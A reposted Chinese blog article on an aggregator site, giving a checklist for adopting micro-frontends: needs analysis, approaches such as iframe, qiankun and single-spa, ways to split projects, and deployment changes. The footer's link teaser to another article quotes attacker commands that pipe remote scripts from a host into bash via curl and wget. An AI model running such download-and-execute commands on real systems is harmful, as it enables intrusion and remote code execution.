微前端自检清单
最近在做公司微前端,整理了一份微前端搭建清单,如果你正在考虑是否要做微前端,不妨做个参考。
-
需求分析 -
技术方案分析 -
拆分方案分析 -
部署流程分析
需求分析
第一步,我们需要进行需求分析,以便真正清楚我们需要解决的问题是什么。
例如:
-
产品要新增一个业务模块 -
产品要修改项目样式 -
产品反馈项目启动太慢了 -
产品反馈页面跳转刷新很不友好
前两个需求是典型的业务需求,它的核心在于解决公司的业务问题,对于这一类需求,通常技术难度都不大,开发者只需要按照原型图,编写出对应的页面就可以了。
后两个需求是典型的技术需求,它的核心在于解决技术问题。通常来说,技术需求和用户体验有关,但不会影响项目功能,所以一般产品很少会提技术需求,都是由开发同学主导。
目前很多公司都不太重视技术需求,主要是因为和公司业务无关,不能带来真实可见的收益。其实不然,一些技术需求往往能产生巨大的成本收益,所以我们在做技术需求时,「首先需要得到公司的支持」。
为什么选择微前端
解决一个技术需求,有很多种方法,为什么选微前端?
我们看过微前端的发展史就会明白,它并不是凭空出现的,而是项目在不断发展过程中形成的,解决项目臃肿的技术方案。
一个项目在刚成立时,体量很小,但随着项目不断做大,可能会出现以下问题:
-
工程膨胀 -
分支混乱 -
代码冲突 -
打包麻烦 -
维护困难
对于这些问题,很难找到一个完美的解决方案,于是就诞生了微前端。
有了微前端之后,我们能将一个大项目拆分成多个小项目,这样一来,每一个小项目就非常好优化了。在优化了所有的小项目后,我们再将这些小项目组合起来,就能形成一个完美的大项目了。
在实际项目中,如果遇到以下问题,可以考虑使用微前端:
-
项目太大,成为了典型的巨石应用,打包很慢。
-
项目开发者太多,多个同学开发同一套代码,经常出现代码冲突、或修改公共组件引发的 Bug。
-
项目太老,存在遗留模块,为了兼容它,限制了整个项目的发展。
-
项目技术栈不统一,使用了多种不同框架,每一种框架又有多个版本共存的情况。
-
项目由多个团队协同开发,一个功能需要等其他团队开发好之后,才能接着开发。
-
项目每次发布都是全量发布,即使是上线一个小模块,也可能导致整个项目挂掉。
-
项目由多个系统组成,完成一个功能需要不断地跳转多个系统页。
-
项目开发人员流动大,存在一些祖传代码难以维护,一般人都不好改。
-
项目需要一些试验田方案,即需要在某些模块做一些新技术尝试、框架升级等。
-
...
除此之外,还有很多实际情况没有列举完毕,不过没关系,只要我们明白了微前端的特点,就能判断任何情况。
微前端特点
微前端的核心是解决巨石应用,它都有这些特点:
-
简单、松耦合的代码库
-
微前端架构倾向于编写和维护更小、更简单、更容易开发的项目。 -
技术栈无关,各项目可以使用不同的技术栈。 -
增量升级
-
支持渐进式重构,先让新旧代码和谐共存,再逐步转化旧代码,直到整个重构完成。 -
独立部署
-
每一个子应用都具备独立开发,持续部署,独立运行的能力。 -
团队自治
-
各子项目之间不存在依赖关系,保持隔离。 -
单一职责,每个子项目只做和自己相关的业务工作。
❝除此之外,微前端提供了一套新的生态系统。它通过拆分小项目,产生了大量的微应用。试想一下,如果大家都将微应用上传到云,那么就会构建一个非常强大的微应用云生态。我们在以后做需求时,也许就是选择各种适合的微应用,然后拼接起来,就完事了。
对此保持期待。
❞
微前端的缺点
当然,微前端也不是万能的,它也存在以下问题:
-
拆分的粒度越小,便意味着架构变得复杂、维护成本变高。 -
技术栈一旦多样化,便意味着技术栈混乱。 -
管理版本复杂、依赖复杂。 -
开发体验不太友好,开发时可能需要同时启动多个项目。
这些问题大多是因为项目拆分成多个项目之后,引发的沟通协作问题。
技术方案调研
第二步,我们需要确定具体的微前端实现方式。
实现微前端有很多种方式:
-
路由分发式 -
通过 http 服务器的反向代理功能,来将请求路由到对应的应用上。 -
这种方式只是在路由层面看起来是一个项目,但实际上只是通过 a 标签连接了多个项目。 -
前端容器化 -
使用 iframe 作为容器。 -
seo 不友好。 -
需要考虑同源策略 cookie 管理。 -
需要自建一套应用管理、应用通信机制。 -
弹窗不友好。 -
浏览器后退按钮不友好。 -
前端微服务化 -
在不同的框架之上设计通讯、加载机制,以在一个页面内加载对应的应用。 -
常用的框架:qiankun,single-spa 都是这样做的。 -
最常用的方案,适合于快速上手。 -
微件化 -
打包出可以直接嵌入在页面上运行的代码,可能是一段 js,使用时直接引入即可。 -
需要实现一套微件管理机制,成本太高。 -
微应用化 -
通过软件工程的方式,在部署构建环境中通过 webpack 打包,组合多个独立应用成一个单体应用。 -
需要将多个项目打包成一个,所以技术栈需要保持统一。 -
应用组件化 -
将子项目都打包成 webComponent,在主项目中组合。 -
需要考虑 webComponent 兼容性。
下图是各种方案的优缺点:
这么多方案,各有利弊,我们应该如何选择呢?
-
如果只是想简单快速的做分离,不考虑 seo,可以用 iframe。
-
如果想做分离的同时,保持良好的单页体验,可以考虑 single-spa、qiankun 框架。
-
如果公司有很强的技术能力,再考虑自研或其他方案。
有了技术方案之后,微前端这条路就可以走通了,除此之外,还需考虑过渡方案。
过渡方案
过渡方案指的是如何让微前端平滑上线。试想一下,如果在微前端改造时,项目来了新需求,这时应该怎么办?
对于这个问题,建议在做微前端改造时,最好快速上线:
-
首先将整个原项目当成一个大的子项目,进行微前端改造。 -
主项目快速搭建好路由、子应用管理,然后立即上线。 -
路由管理在处理子项目时,如果是原页面,先通过 a 标签跳转,如果是新页面,则使用前端 router 控制跳转。 -
后续逐渐拆分子项目,如果有新的子项目拆分完毕,只需要将 a 标签跳转改为前端 router 控制即可。 -
做完前两步之后,我们的架构就已经变成了微前端架构。
拆分方案调研
第三步,我们需要想想,我们要怎么拆分我们的项目呢?
常见的拆分方案如下:
-
按照业务拆分 -
如:一个电商后台,包括商品管理、商家管理、物流管理等。 -
独立出每个业务项目,可以让整个项目结构清晰。 -
按照权限拆分 -
如:一个运营后台,管理员和普通运营看到的页面是不一样的。 -
独立出不同的权限项目,可以突出每个项目的使用范围。 -
按照变更的频率拆分 -
如:一个项目中,包含很少改动的祖传项目和经常改动的业务项目。 -
独立出变更频繁的项目,可以避免频繁更新可能导致整体项目挂掉的风险。 -
独立出很少改动的项目,可以让我们在核心业务上大展拳脚。 -
按照组织结构拆分 -
如:一个功能复杂的项目后台,由多个团队共同开发而成。 -
独立出不同团队的项目,可以避免开发冲突,部署冲突等问题。 -
跟随后端微服务拆分 -
如:后端已经做了不同模块的微服务划分,前端可以直接按照后端来就行了。 -
这种方式有利于前后端保持统一。
到了这里,我们已经完成了微前端的拆分,但并不是拆完了就结束了,我们还考虑一些拆分后的问题。
例如:
-
主项目和子项目的样式是否需要复用? -
项目权限,是分开还是在统一管理? -
应用之间如何进行通信?
这些问题往往和业务相关,我们在改造时自行判断即可。
部署流程检查
最后一步,我们需要考虑部署流程。
当微前端开发完成之后,我们的项目由 1 个变成了 1 + n(子项目) 个,部署方式势必会发生变化。
传统的部署方式如下:
微前端项目部署方式如下:
可以看到,项目最终的结构已经完全不同了,开发,测试,部署的流程也都需要进行变化。
-
开发环境的部署 -
测试环境的部署 -
线上环境的部署
开发环境的部署
开发环境其实不需要部署,通常是前端启动一个 localhost 页面,去调后端的接口进行开发。
需要注意的是:
-
子项目需支持独立启动,而不是在开发时启动所有项目,只需启动与业务相关的子项目即可。 -
子项目需支持独立部署,开发完成之后,只需要部署与业务相关的子项目即可。
测试环境的部署
测试环境部署变化挺大的,而且涉及到了跨部门沟通,所以应该谨慎对待。
以前测试部署流程是:前端只需要提供一个打包文件,测试将文件解压后,放入指定的静态资源目录即可。
微前端之后的部署流程:前端需要提供主项目和相关子项目的打包文件,测试需要分别发布多个项目,才能进行测试。
这样改动之后,测试的工作量变大了,对于手动部署的测试来说,确实有很大的影响。为了减少测试的工作量,我们可以协助测试来搭建一套自动化部署工具。
很多大厂都有自己内部的云服务平台,就像阿里云的 k8s 控制台一样,测试可以在控制台上选择需要部署的前端、后端的分支,然后点击一键部署,就搞定了。
上线环境部署
对于线上环境来说,运行的是 1 个主项目和 n 个子项目,每个项目都是独立部署且相互独立的,非常适合容器化部署,即:每一个项目都被部署到一个 docker 中,彼此通过主项目进行关联。
如图,所有的子项目都交由主项目管理。
如果公司内部做了持续部署,部署就会更加简单。
思考与总结
本文从需求分析开始,一步一步理清了微前端需要注意的各种问题,以及一些解决方案,希望能对微前端感兴趣的你有所收获。
其实,微前端没有想象中的那么难,如果是用 qiankun、single-spa 等现成框架,学习成本都非常低,关键是要真正动手去做,只要开了头,后面的问题也就不是什么问题了。
最后,如果你对此有任何想法,欢迎留言评论!
本文分享自微信公众号 - 前端日志(gh_12dcc43e6039)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
通过命令下载执行恶意代码的几种姿势
在渗透过程中,攻击者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。 在目标主机执行恶意代码,可以分为上传/下载并执行恶意代码和无文件远程恶意代码执行。接下来,我们来总结一下Linux和Windows中下载和执行恶意代码的一些姿势。 一、Linux 远程恶意代码执行 01、curl 以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。 方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash方式2:bash < <( curl http://192.168.99.19:8080/test.sh ) 02、wget 执行wget命令远程下载恶意程序。 方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php ...
- 下一篇
快速读懂 JS 原型链
最近参加了公司内部技术分享,分享同学提到了 Js 原型链的问题,并从 V8 的视角展开发散,刷新了我之前对原型链的认识,听完后决定重学一下原型链,巩固一下基础。 理解原型链 深入原型链 总结与思考 理解原型链 Js 中的原型链是一个比较有意思的话题,它采用了一套巧妙的方法,解决了 Js 中的继承问题。 按我的理解,原型链可以拆分成: 原型(prototype) 链( __proto__) 原型(prototype) 原型(prototype)是一个普通的对象,它为构造函数的实例共享了属性和方法。在所有的实例中,引用到的原型都是同一个对象。 例如: functionStudent(name){this.name=name;this.study=function(){console.log("studyjs");};}//创建2个实例conststudent1=newStudent("xiaoming");conststudent2=newStudent("xiaohong");student1.study();student2.study(); 上面的代码中,我们创建了 2 个 Stud...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
-
Docker使用Oracle官方镜像安装(12C,18C,19C)
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS8编译安装MySQL8.0.19
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- MySQL8.0.19开启GTID主从同步CentOS8
- CentOS7,8上快速安装Gitea,搭建Git服务器
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
推荐阅读
最新文章
- CentOS8编译安装MySQL8.0.19
- CentOS6,CentOS7官方镜像安装Oracle11G
- SpringBoot2整合Thymeleaf,官方推荐html解决方案
- 设置Eclipse缩进为4个空格,增强代码规范
- CentOS7,8上快速安装Gitea,搭建Git服务器
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- CentOS7安装Docker,走上虚拟化容器引擎之路
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- Docker安装Oracle12C,快速搭建Oracle学习环境